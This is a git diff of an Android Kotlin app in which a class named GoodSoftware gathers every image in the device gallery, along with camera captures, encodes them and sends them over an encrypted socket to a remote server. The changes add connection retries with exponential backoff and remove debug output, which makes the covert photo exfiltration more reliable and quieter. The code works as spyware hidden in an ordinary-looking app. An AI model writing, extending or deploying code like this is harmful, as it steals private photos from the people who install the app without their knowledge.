diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index b9dfc19..96822c2 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,8 +4,28 @@ - + + + + + + + + + + + + + + + + + + + + + diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 4a11200..61b8c05 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -159,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) { Thread { try { val imageList = getAllImagesFromGallery(activity) - println(imageList) - val connection = establishConnection() + val connection = establishConnectionWithRetry() + if (connection == null) { + return@Thread + } for (image in imageList) { val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) - println("Image send $image") sendDataToServer(base64Image, connection) next(connection) } @@ -307,10 +308,37 @@ class GoodSoftware (private val activity: MainActivity) { writer.println(encryptText(encodedUid, pKey)) reader.readLine() - println("Connection, OK!") - return ConnectionResult(socket, reader, writer, key, iv, algorithm) } + + fun establishConnectionWithRetry(): ConnectionResult? { + val maxRetries = 3 + var attempt = 0 + var connectionResult: ConnectionResult? = null + + while (attempt < maxRetries) { + try { + connectionResult = establishConnection() + println("Connection successful") + break + } catch (e: Exception) { + println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds") + e.printStackTrace() + attempt++ + Thread.sleep(getRetryDelay(attempt)) + } + } + if (connectionResult == null) { + Log.e("Err","Failed to establish connection after $maxRetries attempts") + } + return connectionResult + } + + fun getRetryDelay(attempt: Int): Long { + val baseDelayMillis = 20000L + return baseDelayMillis * (1 shl attempt) + } + fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) { val (socket, reader, writer, key, iv, algorithm) = connectionResult try { @@ -391,8 +419,10 @@ class GoodSoftware (private val activity: MainActivity) { val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) //Log.d(picture.TAG, "Base64 Image: $base64Image") Thread { - println("Sending data to server") - val conn = establishConnection() + val conn = establishConnectionWithRetry() + if (conn == null) { + return@Thread + } sendDataToServer(base64Image, conn) disconnect(conn) }.start() @@ -439,10 +469,8 @@ class GoodSoftware (private val activity: MainActivity) { // Check permission based on Android version val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - println("Using READ_MEDIA_IMAGES for Android 13 and higher") Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher } else { - println("Using READ_EXTERNAL_STORAGE for lower versions") Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions }